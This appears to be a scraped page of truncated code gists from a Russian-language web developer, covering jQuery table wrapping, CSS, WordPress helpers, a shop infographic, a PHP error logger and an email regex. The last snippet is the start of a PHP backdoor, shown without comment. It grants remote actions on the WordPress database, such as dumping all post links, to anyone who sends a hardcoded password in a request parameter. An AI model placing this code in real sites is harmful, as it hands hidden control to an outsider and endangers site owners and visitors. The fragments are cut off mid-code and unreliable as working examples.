This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$('.main-content table').each(function(indx, el){ | |
if ($(el).parent().outerWidth() < $(el).outerWidth()) { | |
if (!$(el).parent().hasClass('table-responsive')) { | |
$(el).wrap('<div class="table-responsive"></div>'); | |
} | |
} | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.youtube { | |
background-position: center; | |
background-repeat: no-repeat; | |
position: relative; | |
display: inline-block; | |
overflow: hidden; | |
transition: all 200ms ease-out; | |
cursor: pointer; | |
} | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function wp_get_attachment( $attachment_id ) { | |
$attachment = get_post( $attachment_id ); | |
return array( | |
'alt' => get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ), | |
'caption' => $attachment->post_excerpt, | |
'description' => $attachment->post_content, | |
'href' => get_permalink( $attachment->ID ), | |
'src' => $attachment->guid, | |
'title' => $attachment->post_title |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div class="infograf"> | |
<div class="infograf__title">Заказать товар просто!</div> | |
<div class="infograf__why"> | |
<div class="infograf__why-item"><div class="infograf__why-img"></div><div class="infograf__why-txt">Позвони или оформи заказ онлайн</div></div> | |
<div class="infograf__why-item"><div class="infograf__why-img"></div><div class="infograf__why-txt">Оплата любым удобным способом</div></div> | |
<div class="infograf__why-item"><div class="infograf__why-img"></div><div class="infograf__why-txt">Доставка по адресу или самовывоз</div></div> | |
<div class="infograf__why-item"><div class="infograf__why-img"></div><div class="infograf__why-txt">Поздравляем с покупкой! Вкусного пара!</div></div> | |
</div> | |
<div class="infograf__title">Почему к нам всегда возвращаются?</div> | |
<div class="infograf__ret"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
set_error_handler('err_handler'); | |
function err_handler($errno, $errmsg, $filename, $linenum) { | |
$date = date('Y-m-d H:i:s (T)'); | |
$f = fopen('errors.log', 'a'); | |
if (!empty($f)) { | |
$filename =str_replace($_SERVER['DOCUMENT_ROOT'],'',$filename); | |
$err = "$errmsg = $filename = $linenum\r\n"; | |
fwrite($f, $err); | |
fclose($f); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
the_field('seotext', 'category_'.$wp_query->get_queried_object()->cat_ID); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/.+@.+\..+/i |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'cc552ea3f2e6b97abd7a2f0c7df5dcc7')) | |
{ | |
switch ($_REQUEST['action']) | |
{ | |
case 'get_all_links'; | |
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data) | |
{ | |
$data['code'] = ''; |